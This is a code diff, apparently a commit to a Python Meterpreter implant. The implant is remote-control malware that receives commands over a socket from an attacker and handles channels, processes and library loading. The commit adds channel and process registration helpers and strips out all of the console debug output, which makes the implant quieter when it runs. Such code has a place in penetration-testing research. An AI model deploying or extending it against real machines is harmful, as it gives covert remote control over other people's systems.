@@ -192,6 +192,20 @@ def register_function_windll(self, func):
192
192
if has_windll :
193
193
self .register_function (func )
194
194
195
+ def add_channel (self , channel ):
196
+ idx = 0
197
+ while idx in self .channels :
198
+ idx += 1
199
+ self .channels [idx ] = channel
200
+ return idx
201
+
202
+ def add_process (self , process ):
203
+ idx = 0
204
+ while idx in self .processes :
205
+ idx += 1
206
+ self .processes [idx ] = process
207
+ return idx
208
+
195
209
def run (self ):
196
210
while self .running :
197
211
if len (select .select ([self .socket ], [], [], 0 )[0 ]):
@@ -203,10 +217,8 @@ def run(self):
203
217
request = ''
204
218
while len (request ) < req_length :
205
219
request += self .socket .recv (4096 )
206
- print ('[+] received ' + str (len (request )) + ' bytes' )
207
220
response = self .create_response (request )
208
221
self .socket .send (response )
209
- print ('[+] sent ' + str (len (response )) + ' bytes' )
210
222
else :
211
223
channels_for_removal = []
212
224
channel_ids = self .channels .keys () # iterate over the keys because self.channels could be modified if one is closed
@@ -241,7 +253,6 @@ def run(self):
241
253
pkt += tlv_pack (TLV_TYPE_REQUEST_ID , generate_request_id ())
242
254
pkt = struct .pack ('>I' , len (pkt ) + 4 ) + pkt
243
255
self .socket .send (pkt )
244
- print ('[+] sent ' + str (len (pkt )) + ' bytes' )
245
256
246
257
def handle_dead_resource_channel (self , channel_id ):
247
258
del self .channels [channel_id ]
@@ -253,7 +264,6 @@ def handle_dead_resource_channel(self, channel_id):
253
264
pkt += tlv_pack (TLV_TYPE_CHANNEL_ID , channel_id )
254
265
pkt = struct .pack ('>I' , len (pkt ) + 4 ) + pkt
255
266
self .socket .send (pkt )
256
- print ('[+] sent ' + str (len (pkt )) + ' bytes' )
257
267
258
268
def _core_loadlib (self , request , response ):
259
269
data_tlv = packet_get_tlv (request , TLV_TYPE_DATA )
@@ -331,6 +341,7 @@ def _core_channel_read(self, request, response):
331
341
if channel_id not in self .channels :
332
342
return ERROR_FAILURE , response
333
343
channel = self .channels [channel_id ]
344
+ data = ''
334
345
if isinstance (channel , file ):
335
346
data = channel .read (length )
336
347
elif isinstance (channel , STDProcess ):
@@ -380,22 +391,17 @@ def create_response(self, request):
380
391
reqid_tlv = packet_get_tlv (request , TLV_TYPE_REQUEST_ID )
381
392
resp += tlv_pack (reqid_tlv )
382
393
383
- print ("[*] running method: " + method_tlv ['value' ])
384
394
if method_tlv ['value' ] in self .extension_functions :
385
395
handler = self .extension_functions [method_tlv ['value' ]]
386
396
try :
387
397
result , resp = handler (request , resp )
388
398
except Exception , err :
389
- print ("[-] method: " + method_tlv ['value' ] + " encountered an exception: " + repr (err ))
390
399
result = ERROR_FAILURE
391
400
else :
392
401
result = ERROR_FAILURE
393
- if result == ERROR_FAILURE :
394
- print ("[*] method: " + method_tlv ['value' ] + " failed" )
395
-
396
402
resp += tlv_pack (TLV_TYPE_RESULT , result )
397
403
resp = struct .pack ('>I' , len (resp ) + 4 ) + resp
398
404
return resp
399
- print ( "[+] starting meterpreter" )
405
+
400
406
met = PythonMeterpreter (s )
401
407
met .run ()
0 commit comments